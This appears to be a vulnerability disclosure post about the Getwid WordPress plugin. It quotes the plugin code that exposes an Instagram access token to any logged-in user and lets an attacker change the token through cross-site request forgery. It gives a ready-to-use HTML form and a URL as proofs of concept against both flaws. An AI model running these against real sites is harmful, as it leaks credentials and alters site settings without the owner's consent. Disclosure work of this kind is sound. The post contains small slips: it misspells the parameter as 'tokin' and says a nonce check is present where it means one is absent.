Gutenberg Blocks Plugin with 40,000+ Installs Contains Multiple Vulnerabilities
The WordPress plugin Getwid, which contains “a collection of 40+ Gutenberg blocks”, was closed on the WordPress Plugin Directory yesterday. That is one of the 1,000 most popular plugins with 40,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains at least an authenticated information disclosure vulnerability and cross-site request forgery (CSRF)/settings change vulnerability. Both of those involve an Instagram access token.
Authenticated Information Disclosure
The plugin registers the function get_instagram_token() to be accessible to anyone logged in to WordPress through its AJAX functionality:
15 | add_action( 'wp_ajax_get_instagram_token', [ $this, 'get_instagram_token'] ); |
That function, which is located in the file /includes/blocks/instagram.php, does no security checks before outputting the value of the Instagram access token stored in the plugin’s settings:
55 56 57 58 59 60 61 62 63 64 | public function get_instagram_token() { $action = $_POST[ 'option' ]; $data = $_POST[ 'data' ]; $response = false; if ( $action == 'get' ) { $response = get_option( 'getwid_instagram_token', '' ); } wp_send_json_success( $response ); |
Cross-Site Request Forgery (CSRF)/Settings Change
The following code in the file /includes/settings-page.php will update the value of that Instagram access token setting when accessing the page /wp-admin/options-general.php with the GET input “instagram-tokin” set:
123 124 125 126 | if ( $pagenow == 'options-general.php' && isset( $_GET['instagram-token'] ) ) { if ( current_user_can( 'manage_options' ) ) { // Update token update_option( 'getwid_instagram_token', trim( $_GET['instagram-token'] ) ); |
While that is limited to those logged in Administrators, there is a nonce check done before doing that, so an attacker could cause an Administrator to change it without intending it.
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept for Authenticated Information Disclosure
The following proof of concept will display the Instagram access token setting value, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=get_instagram_token" method="POST"> <input type="hidden" name="option" value="get" /> <input type="submit" value="Submit" /> </form> </body> </html>
Proof of Concept for Cross-Site Request Forgery (CSRF)/Settings Change
The following proof of concept will change the plugin’s Instagram access token setting to “proof-of-concept”, when logged in as an Administrator.
Replace “[path to WordPress]” with the location of WordPress
http://[path to WordPress]/wordpress/wp-admin/options-general.php?instagram-token=proof-of-concept